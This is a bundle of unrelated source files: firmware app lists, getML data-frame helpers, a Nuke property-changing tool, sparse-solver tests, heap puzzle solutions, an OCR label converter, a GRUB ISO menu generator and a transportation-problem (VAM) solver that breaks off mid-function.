SVD_FILE = "debug/STM32WB55_CM4.svd"

# Look for blackmagic probe on serial ports and local network
BLACKMAGIC = "auto"

# Application to start on boot
LOADER_AUTOSTART = ""

FIRMWARE_APPS = {
    "default": [
        "crypto_start",
        # Svc
        "basic_services",
        # Apps
        "basic_apps",
        "updater_app",
        "storage_move_to_sd",
        "archive",
        # Settings
        "passport",
        "system_settings",
        "about",
        # Plugins
        "basic_plugins",
        # Debug
        "debug_apps",
    ],
    "unit_tests": [
        "basic_services",
        "updater_app",
        "unit_tests",
    ],
}

FIRMWARE_APP_SET = "default"


import numbers

from getml.constants import MULTIPLE_JOIN_KEYS_BEGIN, NO_JOIN_KEY
from getml.data.columns import (
    FloatColumn,
    FloatColumnView,
    StringColumn,
    StringColumnView,
    _parse,
)
from getml.log import logger

from .data_frame import DataFrame
from .data_model import DataModel
from .diagram import _split_multiple_join_keys
from .helpers import _make_id, list_data_frames
from .placeholder import Placeholder
from .roles import target
from .view import View

# --------------------------------------------------------------------

def _decode_data_model(cmd):
    def decode(elem):
        return (
            [_decode_placeholder(e) for e in elem]
            if isinstance(elem, list)
            else _decode_placeholder(elem)
        )

    population = _decode_placeholder(cmd)
    peripherals = (
        {k: decode(v) for (k, v) in cmd["peripherals_"].items()}
        if "peripherals_" in cmd
        else {}
    )
    data_model = DataModel(population)
    data_model.peripherals = peripherals
    return data_model

# --------------------------------------------------------------------

def _decode_multiple_join_keys(jk_used, other_jk_used):
    jks1 = _split_multiple_join_keys(jk_used)
    jks2 = _split_multiple_join_keys(other_jk_used)

    if len(jks1) != len(jks2):
        raise ValueError(
            "Number of multiple join keys does not match: "
            + str(jks1)
            + " vs. "
            + str(jks2)
            + "."
        )

    return list(zip(jks1, jks2))

# --------------------------------------------------------------------

def _decode_placeholder(dictionary):
    ph_new = Placeholder(dictionary["name_"], dictionary.get("roles_", None))

    def ts_map(ts):
        return None if ts == ("", "") else ts

    def jk_map(jk):
        if MULTIPLE_JOIN_KEYS_BEGIN in jk[0]:
            return _decode_multiple_join_keys(jk[0], jk[1])
        return None if jk == (NO_JOIN_KEY, NO_JOIN_KEY) else jk

    for i, perph in enumerate(dictionary["joined_tables_"]):
        perph_new = _decode_placeholder(perph)

        ph_new.join(
            perph_new,
            on=jk_map(
                (
                    dictionary["join_keys_used_"][i],
                    dictionary["other_join_keys_used_"][i],
                )
            ),
            time_stamps=ts_map(
                (
                    dictionary["time_stamps_used_"][i],
                    dictionary["other_time_stamps_used_"][i],
                )
            ),
            upper_time_stamp=dictionary["upper_time_stamps_used_"][i],
            relationship=dictionary["relationship_"][i],
            memory=dictionary["memory_"][i],
            horizon=dictionary["horizon_"][i],
            lagged_targets=dictionary["allow_lagged_targets_"][i],
        )

    return ph_new

# -----------------------------------------------------------------

def _deep_copy(df_or_view, container_id):
    if isinstance(df_or_view, DataFrame):
        return df_or_view.copy("container-" + container_id + "-" + df_or_view.name)

    if isinstance(df_or_view, View):
        return df_or_view.to_df("container-" + container_id + "-" + _make_id())

# -----------------------------------------------------------------

def _get_last_change(population, peripheral, subsets):
    return max(
        ([population.last_change] if population is not None else [])
        + [v.last_change for (k, v) in peripheral.items()]
        + [v.last_change for (k, v) in subsets.items()]
    )

# -----------------------------------------------------------------

def _make_subsets_from_kwargs(train, validation, test, **kwargs):
    tvt = {
        "train": train,
        "validation": validation,
        "test": test,
    }
    tvt = {k: v for (k, v) in tvt.items() if v is not None}
    return {**tvt, **kwargs}

# -----------------------------------------------------------------

def _make_subsets_from_split(population, split):
    nrows = (
        population.nrows(force=True)
        if isinstance(population, View)
        else population.nrows()
    )
    unique = split[:nrows].unique()

    subsets = {
        name: population.drop(population._unused_names)[split == name]
        for name in unique
    }

    if isinstance(population.nrows(), numbers.Real):
        for name in subsets:
            len_set = int((split[: population.nrows()] == name).as_num().sum())
            subsets[name] = subsets[name][:len_set]

    return subsets

# -----------------------------------------------------------------

def load_data_frame(name):
    """Retrieves a :class:`~getml.DataFrame` handler of data in the
    getML engine.

    A data frame object can be loaded regardless if it is held in
    memory or not. It only has to be present in the current project
    and thus listed in the output of
    :func:`~getml.data.list_data_frames`.

    Args:
        name (str):
            Name of the data frame.

    Examples:

        .. code-block:: python

            d, _ = getml.datasets.make_numerical(population_name = 'test')
            d2 = getml.data.load_data_frame('test')

    Returns:
        :class:`~getml.DataFrame`:
            Handle the underlying data frame in the getML engine.
    """

    if not isinstance(name, str):
        raise TypeError("'name' must be of type str")

    data_frames_available = list_data_frames()

    if name in data_frames_available["in_memory"]:
        return DataFrame(name).refresh()

    if name in data_frames_available["on_disk"]:
        return DataFrame(name).load()

    raise ValueError(
        "No data frame holding the name '" + name + "' present on the getML engine."
    )

# --------------------------------------------------------------------

def _load_dependent_data_frames(cmd):
    if "df_name_" in cmd:
        load_data_frame(cmd["df_name_"])
    for _, value in cmd.items():
        if isinstance(value, dict):
            _load_dependent_data_frames(value)

# --------------------------------------------------------------------

def _load_added(cmd):
    if "added_" not in cmd:
        return None
    _load_dependent_data_frames(cmd["added_"]["col_"])
    col = _parse(cmd["added_"]["col_"])
    added = cmd["added_"]
    added["col_"] = col
    return added

# --------------------------------------------------------------------

def _load_subselection(cmd):
    if "subselection_" not in cmd:
        return None
    _load_dependent_data_frames(cmd["subselection_"])
    return _parse(cmd["subselection_"])

# --------------------------------------------------------------------

def _load_view(cmd):
    typ = cmd["type_"]

    if typ == "DataFrame":
        return load_data_frame(cmd["name_"])

    if typ != "View":
        raise ValueError("Unknown type: '" + typ + "'.")

    added = _load_added(cmd)
    subselection = _load_subselection(cmd)
    dropped = cmd["dropped_"]
    name = cmd["name_"]
    base = _load_view(cmd["base_"])

    return View(
        base=base, name=name, subselection=subselection, added=added, dropped=dropped
    )

# --------------------------------------------------------------------

def exists(name):
    """
    Returns true if a data frame named 'name' exists.

    Args:
        name (str):
            Name of the data frame.
    """
    if not isinstance(name, str):
        raise TypeError("'name' must be of type str")

    all_df = list_data_frames()

    return name in (all_df["in_memory"] + all_df["on_disk"])

# --------------------------------------------------------------------

def delete(name):
    """
    If a data frame named 'name' exists, it is deleted.

    Args:
        name (str):
            Name of the data frame.
    """

    if not isinstance(name, str):
        raise TypeError("'name' must be of type str")

    if exists(name):
        DataFrame(name).delete()

# --------------------------------------------------------------------

def make_target_columns(base, colname):
    """
    Returns a view containing binary target columns.

    getML expects binary target columns for classification problems. This
    helper function allows you to split up a column into such binary
    target columns.

    Args:
        base (:class:`~getml.DataFrame` or :class:`~getml.data.View`):
            The original view or data frame. `base` will remain unaffected
            by this function, instead you will get a view with the appropriate
            changes.

        colname (str): The column you would like to split. A column named
            `colname` should appear on `base`.
    """
    if not isinstance(
        base[colname], (FloatColumn, FloatColumnView, StringColumn, StringColumnView)
    ):
        raise TypeError(
            "'"
            + colname
            + "' must be a FloatColumn, a FloatColumnView, "
            + "a StringColumn or a StringColumnView."
        )

    unique_values = base[colname].unique()

    if len(unique_values) > 10:
        logger.warning(
            "You are splitting the column into more than 10 target "
            + "columns. This might take a long time to fit."
        )

    view = base

    for label in unique_values:
        col = (base[colname] == label).as_num()
        name = colname + "=" + label
        view = view.with_column(col=col, name=name, role=target)

    return view.drop(colname)

# --------------------------------------------------------------------

def to_placeholder(*args, **kwargs):
    """
    Factory function for extracting placeholders from a
    :class:`~getml.DataFrame` or :class:`~getml.data.View`.

    Example:
        Suppose we wanted to create a :class:`~getml.data.DataModel`:

        .. code-block:: python

            dm = getml.data.DataModel(
                population_train.to_placeholder("population")
            )

            # Add placeholders for the peripheral tables.
            dm.add(meta.to_placeholder("meta"))
            dm.add(order.to_placeholder("order"))
            dm.add(trans.to_placeholder("trans"))

        But this is a bit repetitive. So instead, we can do
        the following:

        .. code-block:: python

            dm = getml.data.DataModel(
                population_train.to_placeholder("population")
            )

            # Add placeholders for the peripheral tables.
            dm.add(getml.data.to_placeholder(
                meta=meta, order=order, trans=trans))

    """

    def to_ph_list(list_or_elem, key=None):
        as_list = list_or_elem if isinstance(list_or_elem, list) else [list_or_elem]
        return [elem.to_placeholder(key) for elem in as_list]

    return [elem for item in args for elem in to_ph_list(item)] + [
        elem for (k, v) in kwargs.items() for elem in to_ph_list(v, k)
    ]

# --------------------------------------------------------------------


import nuke

def create_panel():

    selectedNodes = nuke.selectedNodes()

    if selectedNodes:
        #PANEL creation
        panel = nuke.Panel('Batch Change Property')
        # panel.setWidth(700)
        panel.addSingleLineInput('Property', '')
        panel.addSingleLineInput('Value', '')

        result = panel.show()

        if result:
        #RETRIEVE VALUES
            property = panel.value('Property')
            value = panel.value('Value')
            if property and value:
                def valueConversion(valueToConvert):
                    try:
                        if valueToConvert.lower() == "true":
                            return True
                        elif valueToConvert.lower() == "false":
                            return False
                        else:
                            converted_value = float(valueToConvert)
                            return converted_value
                    except:
                        return str(valueToConvert)

                value = valueConversion(value)
                propertyExists = False
                for node in selectedNodes:
                    if node.knob(property):
                        propertyExists = True
                        node.knob(str(property)).setValue(value)
                if not propertyExists:
                    nuke.message('The given property does not exist or cannot be found in any of the selected nodes.')
            else:
                nuke.message('A property and a value are required.')
    else:
        nuke.message('Must select the nodes to change the properties to first.')

menubar=nuke.menu("Nuke")
menu_mk = menubar.addMenu("MK Tools")
menu_mk.addCommand("Batch change property", create_panel)


import scipy.sparse as sp
import numpy as np

from .. import pardiso

def create_matrix(dim, alpha=0.95, smallest_coef=0.1, largest_coef=.9):
    ''' Based o scikit-learn make_sparse_spd_matrix'''
    chol = -np.eye(dim)
    aux = np.random.rand(dim, dim)
    aux[aux < alpha] = 0
    aux[aux > alpha] = (smallest_coef
                        + (largest_coef - smallest_coef)
                        * np.random.rand(np.sum(aux > alpha)))
    aux = np.tril(aux, k=-1)

    # Permute the lines: we don't want to have asymmetries in the final
    # SPD matrix
    permutation = np.random.permutation(dim)
    aux = aux[permutation].T[permutation]
    chol += aux
    A = sp.csc_matrix(np.dot(chol.T, chol))

    x = np.random.rand(dim)
    b = A.dot(x)

    return A,b,x

def test_create_matrix():
    A, b, x = create_matrix(100, .95)

    assert np.allclose(A.dot(x), b)

    Ad = A.todense()
    assert np.all(np.linalg.eigvals(Ad) > 0)

class TestPardiso():
    def test_solve(self):
        A, b, x = create_matrix(1000, .99)
        solver = pardiso.Solver(A)
        x_pd = solver.solve(b)
        assert np.allclose(x, x_pd)

    def test_solve_csr(self):
        A, b, x = create_matrix(1000, .99)
        A = A.tocsr()
        solver = pardiso.Solver(A)
        x_pd = solver.solve(b)
        assert np.allclose(x, x_pd)

    def test_love_many_rhs(self):
        A, _, _ = create_matrix(1000, .99)
        x = np.random.random((1000, 3))
        b = A.dot(x)
        solver = pardiso.Solver(A)
        x_pd = solver.solve(b)
        assert np.allclose(x, x_pd)


# Problem Description
# Given N bags, each bag contains Bi chocolates. There is a kid and a magician.
# In one unit of time, kid chooses a random bag i, eats Bi chocolates,
# then the magician fills the ith bag with floor(Bi/2) chocolates.
# Find the maximum number of chocolates that kid can eat in A units of time.
import heapq
def nchoc(self, A, B):
    res = 0
    temp = 0
    max_heap = [-x for x in B]

    heapq.heapify(max_heap)
    for i in range(A):
        if max_heap:
            temp = -heapq.heappop(max_heap)
            res += temp
            if temp // 2 != 0:
                temp //= 2
                heapq.heappush(max_heap, -temp)
    return res % (10 ** 9 + 7)


import argparse
import json
import os.path as osp

import cv2

from mmocr.utils import list_from_file, list_to_file

def parse_old_label(data_root, in_path, img_size=False):
    imgid2imgname = {}
    imgid2anno = {}
    idx = 0
    for line in list_from_file(in_path):
        line = line.strip().split()
        img_full_path = osp.join(data_root, line[0])
        if not osp.exists(img_full_path):
            continue
        ann_file = osp.join(data_root, line[1])
        if not osp.exists(ann_file):
            continue

        img_info = {}
        img_info['file_name'] = line[0]
        if img_size:
            img = cv2.imread(img_full_path)
            h, w = img.shape[:2]
            img_info['height'] = h
            img_info['width'] = w
        imgid2imgname[idx] = img_info

        imgid2anno[idx] = []
        char_annos = []
        for t, ann_line in enumerate(list_from_file(ann_file)):
            ann_line = ann_line.strip()
            if t == 0:
                img_info['text'] = ann_line
            else:
                char_box = [float(x) for x in ann_line.split()]
                char_text = img_info['text'][t - 1]
                char_ann = dict(char_box=char_box, char_text=char_text)
                char_annos.append(char_ann)
        imgid2anno[idx] = char_annos
        idx += 1

    return imgid2imgname, imgid2anno

def gen_line_dict_file(out_path, imgid2imgname, imgid2anno, img_size=False):
    lines = []
    for key, value in imgid2imgname.items():
        if key in imgid2anno:
            anno = imgid2anno[key]
            line_dict = {}
            line_dict['file_name'] = value['file_name']
            line_dict['text'] = value['text']
            if img_size:
                line_dict['height'] = value['height']
                line_dict['width'] = value['width']
            line_dict['annotations'] = anno
            lines.append(json.dumps(line_dict))
    list_to_file(out_path, lines)

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        '--data-root', help='data root for both image file and anno file')
    parser.add_argument(
        '--in-path',
        help='mapping file of image_name and ann_file,'
        ' "image_name ann_file" in each line')
    parser.add_argument(
        '--out-path', help='output txt path with line-json format')

    args = parser.parse_args()
    return args

def main():
    args = parse_args()
    imgid2imgname, imgid2anno = parse_old_label(args.data_root, args.in_path)
    gen_line_dict_file(args.out_path, imgid2imgname, imgid2anno)
    print('finish')

if __name__ == '__main__':
    main()


# Utility file

import datetime as dt
import time

# GCP wants YYYY-MM-DD HH-MM-SS.SSSSS format (ISO format is close, but no T and want fractional seconds)
def fmt_to_std_time(date_time):
    return date_time.strftime("%Y-%m-%d %H:%M:%S.%f").rstrip('0')

def micro_sec_to_std_time(raw_str_time):
    date_time = dt.datetime.fromtimestamp(int(raw_str_time) / 1E3)
    return fmt_to_std_time(date_time)

def now_to_std_time():
    date_time = dt.datetime.fromtimestamp(time.time())
    return fmt_to_std_time(date_time)

def to_minutes(secs):
    return 60.0 * secs

def to_hours(secs):
    return 60.0 * 60.0 * secs

KILO_UNITS = 1024.0
MEGA_UNITS = KILO_UNITS * KILO_UNITS
GIGA_UNITS = KILO_UNITS * MEGA_UNITS
TERA_UNITS = KILO_UNITS * GIGA_UNITS

def fmt_with_units(count):
    if count > TERA_UNITS:
        return '{}T'.format(round(count/TERA_UNITS))
    elif count > GIGA_UNITS:
        return '{}G'.format(round(count / GIGA_UNITS))
    elif count > MEGA_UNITS:
        return '{}M'.format(round(count / MEGA_UNITS))
    elif count > KILO_UNITS:
        return '{}K'.format(round(count / KILO_UNITS))
    else:
        return '{}'.format(count)

if __name__ == '__main__':

    raw_str_time_micros = '1523317852949'
    print('in: {} out: {}'.format(raw_str_time_micros, micro_sec_to_std_time(raw_str_time_micros)))

    raw_str_time_div = '1523317852.949'
    raw_now = float(raw_str_time_div)
    date = dt.datetime.fromtimestamp(raw_now)
    print('now2={0}'.format(date.strftime("%Y-%m-%d %H:%M:%S.%f")))

    print(now_to_std_time())

    raw_str_time_micros2 = 1523892150348.0
    date = dt.datetime.fromtimestamp(raw_now)
    print('now3={0}'.format(date.strftime("%Y-%m-%d %H:%M:%S.%f")))


from flask import url_for

from web.tests import BaseTestCase

class UITest(BaseTestCase):

    def setUp(self):
        BaseTestCase.setUp(self)

    # make sure that response code for /index is 200
    def test_index_reachable(self):
        with self.client.session_transaction() as sess:
            sess["user"] = "user"
        response = self.client.get(url_for('index_page.index'))
        self.assertEqual(response.status_code, 200)

    # make sure content of index page is properly loaded
    def test_index_page_loads(self):
        with self.client.session_transaction() as sess:
            sess["user"] = "user"
        response = self.client.get(url_for('index_page.index'))
        self.assertTrue(b'AVEditor tool' in response.data)


import heapq

def solution(scoville, K):
    answer = 0
    scoville = sorted(scoville)

    while len(scoville) > 1:
        if scoville[0] >= K:
            return answer
        answer += 1
        s1 = heapq.heappop(scoville)
        s2 = heapq.heappop(scoville)
        s = s1 + s2*2

        heapq.heappush(scoville, s)

    if scoville[0] >= K:
        return answer

    answer = -1
    return answer

scoville = [1, 2, 3, 9, 10, 12]
k = 7
print(solution(scoville, k))


#!/usr/bin/python

# Path to directory cotaining ISO images
ISO_DIR = '/home/iso'

MOUNT_POINT = None
UUID = None
DEV = None

import os
import sys
import glob
import pipes
import subprocess

def find_device_uuid(path):
  global DEV
  dev = os.stat(path).st_dev
  block = os.path.basename(os.path.realpath(
            os.path.join('/sys/dev/block/',
              pipes.quote('%d:%s' % (os.major(dev), os.minor(dev))))))
  for uuid in glob.glob('/dev/disk/by-uuid/*'):
    if os.path.basename(os.path.realpath(uuid)) == block:
      DEV = os.path.realpath(uuid)
      return os.path.basename(uuid)

def find_mount_point(path):
  path = os.path.abspath(path)
  while not os.path.ismount(path):
    path = os.path.dirname(path)
  return path

def do_fedora(iso, cdlabel):
  print(
"""menuentry "%(cdlabel)s" --class fedora --class gnu-linux --class gnu --class os {
    set isofile="/%(isofile)s"
    search --no-floppy --fs-uuid --set=root %(uuid)s
    loopback loop $isofile
    linux (loop)/isolinux/vmlinuz root=live:CDLABEL=%(cdlabel)s iso-scan/filename=$isofile rd.live.image quiet
    initrd (loop)/isolinux/initrd.img
}
""" % {
    'cdlabel': cdlabel,
    'isofile': os.path.relpath(iso, MOUNT_POINT),
    'uuid': UUID,
  })

def do_opensuse(iso, cdlabel):
  print(
"""menuentry "%(cdlabel)s" --class fedora --class gnu-linux --class gnu --class os {
    set isofile="/%(isofile)s"
    search --no-floppy --fs-uuid --set=root %(uuid)s
    loopback loop $isofile
    linux (loop)/boot/x86_64/loader/linux root=live:CDLABEL=%(cdlabel)s iso-scan/filename=$isofile rd.live.image rd.live.overlay.persistent rd.live.overlay.cowfs=ext4 splash=silent quiet
    initrd (loop)/boot/x86_64/loader/initrd
}
""" % {
    'cdlabel': cdlabel,
    'isofile': os.path.relpath(iso, MOUNT_POINT),
    'uuid': UUID,
  })

def do_ubuntu(iso, cdlabel):
  print(
"""menuentry "%(cdlabel)s" --class fedora --class gnu-linux --class gnu --class os {
    set isofile="/%(isofile)s"
    search --no-floppy --fs-uuid --set=root %(uuid)s
    loopback loop $isofile
    linux (loop)/casper/vmlinuz boot=casper iso-scan/filename=$isofile noprompt noeject
    initrd (loop)/casper/initrd
}
""" % {
    'cdlabel': cdlabel,
    'isofile': os.path.relpath(iso, MOUNT_POINT),
    'uuid': UUID,
  })

if __name__ == '__main__':
  if not UUID:
    MOUNT_POINT = find_mount_point(ISO_DIR)
    UUID = find_device_uuid(MOUNT_POINT)

  print('Looking for Images in /%s on %s (%s)' % (os.path.relpath(ISO_DIR, MOUNT_POINT), DEV, UUID), file=sys.stderr)

  for iso in glob.glob(os.path.join(ISO_DIR, '*.iso')):
    if os.path.islink(iso):
        continue
    subproc = subprocess.Popen('blkid -o value -s LABEL %s' % pipes.quote(iso), shell=True, stdout=subprocess.PIPE)
    cdlabel = subproc.stdout.read().decode().strip()
    if 'fedora' in cdlabel.lower():
      print('Found %s - %s' % (iso, cdlabel), file=sys.stderr)
      do_fedora(iso, cdlabel)
    elif 'ubuntu' in cdlabel.lower():
      print('Found %s - %s' % (iso, cdlabel), file=sys.stderr)
      do_ubuntu(iso, cdlabel)
    elif 'opensuse' in cdlabel.lower():
      print('Found %s - %s' % (iso, cdlabel), file=sys.stderr)
      do_opensuse(iso, cdlabel)
    else:
      print('Found %s - %s - Not supported' % (iso, cdlabel), file=sys.stderr)


from cx_Freeze import setup, Executable
import sys
base = 'WIN32GUI' if sys.platform == "win32" else None

executables = [Executable("upload.py", base=base, icon='myapp.ico')]

packages = []
include_files=['myapp.ico']
options = {
    'build_exe': {
        'packages':packages,
        'include_files': include_files
    },

}

setup(
    name = "upload",
    options = options,
    version = "1.0",
    description = 'upload tool',
    executables = executables
)


import core.DataClasses as dataClasses
import core.TextHighlighter as txt
import numpy as np

def VAM(readFile: list):
    print("Starting VAM algorithm!\n")
    outputArr = []
    suppliers = readFile[0]
    pharmacies = readFile[1]
    connections = readFile[2]
    dataClasses.sortedLists(pharmacies, suppliers)

    connectionsMatrix = createConnectionsMatrix(connections)
    needArr, prodArr, costArr = createDataArray(pharmacies, suppliers, connections)

    balancedData = balanceData(prodArr, needArr, costArr)

    needArr = balancedData[1]
    prodArr = balancedData[0]
    diff = balancedData[3]

    balancedMatrix = createBalancedMatrix(balancedData, connectionsMatrix)
    limitMatrix = createLimitMatrix(balancedData, balancedMatrix, connectionsMatrix, diff)
    TOCmatrix = createTOCmatrix(balancedData, connectionsMatrix)

    finalCost, deliveredProducts = solver(TOCmatrix, balancedMatrix, limitMatrix, needArr, prodArr, outputArr)
    finalCost = round(finalCost, 2)

    sumOfNeedsAfterBalance = dataClasses.Pharmacy.sumOfNeeds + abs(diff)
    if deliveredProducts != sumOfNeedsAfterBalance:
        txt.coloredPrint("Warning! Couldn't deliver products to all pharmacies!", txt.styleOfHighlight.WARNING, True)

    else:
        txt.coloredPrint("Delivery successful! Final cost of delivery = {}".format(finalCost), txt.styleOfHighlight.SUCCESS, True)

    outputArr.append("\n\nSum of costs: {}".format(finalCost))

    print("VAM algorithm finished!\n")

    return finalCost, deliveredProducts, outputArr, diff

def solver(workMatrix: list, balancedMatrix: list, limitMatrix: list, needArr: list, prodArr: list, outputArr: list):
    finalCost = 0
    deliveredProducts = 0

    while True:
        workMatrix2 = np.array(workMatrix)
        typ, idx, value = getBiggestPenalty(workMatrix)

        if value == 0:
            break

        if typ == "r":
            minCost = min(workMatrix[idx])
            supplierID = idx
            pharmacyID = np.where(workMatrix[idx] == minCost)[0][0]

            production = prodArr[supplierID]
            delivery = needArr[pharmacyID]

            if production >= delivery:
                connectionCost = balancedMatrix[supplierID][pharmacyID]
                data = deliverProductsInCol(pharmacyID, supplierID, delivery, limitMatrix, workMatrix, prodArr, needArr, connectionCost, outputArr)
                finalCost += data[0]
                deliveredProducts += data[1]
                workMatrix = data[2]

            else:
                delivery = prodArr[supplierID]
                connectionCost = balancedMatrix[supplierID][pharmacyID]
                data = deliverProductsInRow(pharmacyID, supplierID, delivery, limitMatrix, workMatrix, prodArr, needArr, connectionCost, outputArr)
                finalCost += data[0]
                deliveredProducts += data[1]
                workMatrix = data[2]

        elif typ == 'c':
            transposedMatrix = workMatrix2.T
            minCost = min(transposedMatrix[idx])

            pharmacyID = idx
            supplierID = np.where(transposedMatrix[idx] == minCost)[0][0]

            production = prodArr[supplierID]
            delivery = needArr[pharmacyID]

            if production >= delivery:
                connectionCost = balancedMatrix[supplierID][pharmacyID]
                data = deliverProductsInCol(pharmacyID, supplierID, delivery, limitMatrix, workMatrix, prodArr, needArr, connectionCost, outputArr)
                finalCost += data[0]
                deliveredProducts += data[1]
                workMatrix = data[2]

            else:
                delivery = prodArr[supplierID]
                connectionCost = balancedMatrix[supplierID][pharmacyID]
                data = deliverProductsInRow(pharmacyID, supplierID, delivery, limitMatrix, workMatrix, prodArr, needArr, connectionCost, outputArr)
                finalCost += data[0]
                deliveredProducts += data[1]
                workMatrix = data[2]
        else:
            break

    return finalCost, deliveredProducts

def deliverProductsInCol(pharmacyID, supplierID, delivery, limitMatrix, workMatrix, prodArr, needArr, minCost, outputArr):
    finalCost = 0
    deliveredProducts = 0

    if checkIfDeliveryIsPossible(pharmacyID, supplierID, limitMatrix, delivery):
        prodArr[supplierID] -= delivery
        updateConnections(pharmacyID, supplierID, limitMatrix, workMatrix, delivery)
        workMatrix = ignore("col", workMatrix, pharmacyID)

        writeToArray(outputArr, supplierID, pharmacyID, delivery, minCost)
        finalCost += minCost * delivery
        deliveredProducts += delivery

        needArr[pharmacyID] = 0

    else:
        delivery = remainingMaxDelivery(pharmacyID, supplierID, limitMatrix)
        prodArr[supplierID] -= delivery
        updateConnections(pharmacyID, supplierID, limitMatrix, workMatrix, delivery)

        writeToArray(outputArr, supplierID, pharmacyID, delivery, minCost)
        finalCost += minCost * delivery
        deliveredProducts += delivery

        needArr[pharmacyID] -= delivery

    return finalCost, deliveredProducts, workMatrix

def deliverProductsInRow(pharmacyID, supplierID, delivery, limitMatrix, workMatrix, prodArr, needArr, minCost, outputArr):
    finalCost = 0
    deliveredProducts = 0

    if checkIfDeliveryIsPossible(pharmacyID, supplierID, limitMatrix, delivery):
        needArr[pharmacyID] -= delivery
        updateConnections(pharmacyID, supplierID, limitMatrix, workMatrix, delivery)
        workMatrix = ignore("row", workMatrix, supplierID)

        writeToArray(outputArr, supplierID, pharmacyID, delivery, minCost)
        finalCost += minCost * delivery
        deliveredProducts += delivery

        prodArr[supplierID] = 0

    else:
        delivery = remainingMaxDelivery(pharmacyID, supplierID, limitMatrix)
        needArr[pharmacyID] -= delivery
        updateConnections(pharmacyID, supplierID, limitMatrix, workMatrix, delivery)

        writeToArray(outputArr, supplierID, pharmacyID, delivery, minCost)
        finalCost += minCost * delivery
        deliveredProducts += delivery

        prodArr[supplierID] -= delivery

    return finalCost, deliveredProducts, workMatrix

def ignore(what: str, matrix: list, idx: int):
    if what == 'col':
        matrix = np.array(matrix).T
        matrix[idx] = [np.inf] * len(matrix[idx])
        return matrix.T

    elif what == 'row':
        matrix[idx] = [np.inf] * len(matrix[idx])
        return matrix

def getBiggestPenalty(balancedMatrix: list):
    penaltiesInRow = []
    penaltiesInCol = []

    for x in range(len(balancedMatrix)):
        diff = absoluteDifferenceOfTwoSmallestInRow(balancedMatrix[x])
        penaltiesInRow.append(diff)

    transposed = np.array(balancedMatrix).T

    for x in range(len(transposed)):
        diff = absoluteDifferenceOfTwoSmallestInRow(transposed[x])
        penaltiesInCol.append(diff)

    max_r = max(penaltiesInRow)
    max_c = max(penaltiesInCol)

    if max_c >= max_r:
        index = np.where(penaltiesInCol == max_c)[0]
        if len(index) != 0:
            return "c", index[0], max_c

    else:
        index = np.where(penaltiesInRow == max_r)[0]
        if len(index) != 0:
            return "r", index[0], max_r

    return "stop", 0, 0

def absoluteDifferenceOfTwoSmallestInRow(row: list):
    row = np.array(row)
    if len(set(row)) == 1 and np.isinf(row[0]):
        return 0

    nonInfMax = np.nanmax(row[row != np.inf])
    row[row == np.inf] = nonInfMax

    if len(set(row)) == 1 and not np.isinf(row[0]):
        return row[0]

    else:
        value1, value2 = np.partition(row, 1)[0:2]
        return abs(value1 - value2)

def balanceData(supply: list, demand: list, costs: list):
    totalSupply = sum(supply)
    totalDemand = sum(demand)
    diff = totalDemand - totalSupply

    if totalSupply < totalDemand:
        newSupply = supply + [totalDemand - totalSupply]
        newCosts = costs + [[0 for x in supply]]

        return newSupply, demand, newCosts, diff

    if totalSupply > totalDemand:
        newDemand = demand + [totalSupply - totalDemand]
        newCosts = costs + [[0 for x in demand]]

        return supply, newDemand, newCosts, diff

    return supply, demand, costs, diff

def createDataArray(pharmacies: list, suppliers: list, connections: list):
    needArr = []
    prodArr = []
    costArr = []

    for pharmacy in pharmacies:
        needArr.append(pharmacy.getDailyNeed())

    for supplier in suppliers:
        prodArr.append(supplier.getDailyProduction())

    for connection in connections:
        costArr.append(connection.getCost())

    return needArr, prodArr, costArr

def updateConnections(pharmacyID: int, supplierID: int, limitMatrix: list, workMatrix: list, value: int):
    limitMatrix[supplierID][pharmacyID] -= value

    if limitMatrix[supplierID][pharmacyID] == 0:
        workMatrix[supplierID][pharmacyID] = np.inf

def checkIfDeliveryIsPossible(pharmacyID: int, supplierID: int, limitMatrix: list, value: int):
    if limitMatrix[supplierID][pharmacyID] >= value:
        return True

    return False

def createTOCmatrix(balancedData: tuple, connectionsMatrix: list):
    TOCmatrixRows = createBalancedMatrix(balancedData, connectionsMatrix)
    TOCmatrixCols = createBalancedMatrix(balancedData, connectionsMatrix)

    for i in range(len(TOCmatrixRows)):
        minValue = min(TOCmatrixRows[i])
        for j in range(len(TOCmatrixRows[i])):
            TOCmatrixRows[i][j] -= minValue

    TOCmatrixCols = np.array(TOCmatrixCols).T
    for i in range(len(TOCmatrixCols)):
        minValue = min(TOCmatrixCols[i])
        for j in range(len(TOCmatrixCols[i])):
            TOCmatrixCols[i][j] -= minValue

    TOCmatrixCols = np.array(TOCmatrixCols).T

    return TOCmatrixRows + TOCmatrixCols

def createLimitMatrix(data: tuple, balancedMatrix: list, connectionsMatrix: list, diff: int):
    numberOfPharmacies = dataClasses.Pharmacy.pharmacyCounter
    numberOfSuppliers = dataClasses.Supplier.supplierCounter

    supply = data[0]
    need = data[1]
    matrix = [[0] * len(need) for i in range(len(supply))]

    for y in range(len(balancedMatrix)):
        for x in range(len(balancedMatrix[y])):
            if x < numberOfPharmacies and y < numberOfSuppliers:
                matrix[y][x] = connectionsMatrix[y][x].getMaxDelivery()

            else:
                matrix[y][x] = abs(diff)

    return matrix

def createBalancedMatrix(data: tuple, connectionMatrix: list):
    supply = data[0]
    need = data[1]
    matrix = [[0] * len(need) for i in range(len(supply))]

    if len(supply) != dataClasses.Supplier.supplierCounter:
        rangeY = len(supply) - 1
        rangeX = len(need)

    elif len(need) != dataClasses.Pharmacy.pharmacyCounter:
        rangeY = len(supply)
        rangeX = len(need) - 1

    else:
        rangeY = len(supply)
        rangeX = len(need)

    for y in range(rangeY):
        for x in range(rangeX):
            matrix[y][x] = getConnectionCost(x, y, connectionMatrix)

    return matrix

def createConnectionsMatrix(connections: list):
    numberOfPharmacies = dataClasses.Pharmacy.pharmacyCounter
    numberOfSuppliers = dataClasses.Supplier.supplierCounter

    connectionMatrix = [[0] * numberOfPharmacies for i in range(numberOfSuppliers)]

    for connection in connections:
        supplierID = connection.getSupplierID()
        pharmacyID = connection.getPharmacyID()
        connectionMatrix[supplierID][pharmacyID] = connection

    return connectionMatrix

def remainingMaxDelivery(pharmacyID: int, supplierID: int, limitMatrix: list):
    return limitMatrix[supplierID][pharmacyID]

def getConnectionCost(pharmacyID: int, supplierID: int, connectionsMatrix: list):
    return connectionsMatrix[supplierID][pharmacyID].getCost()

def writeToArray(outputArr: list, supplierID: int, pharmacyID: int, howMany: int, cost: float):
    if howMany > 0 and cost > 0:
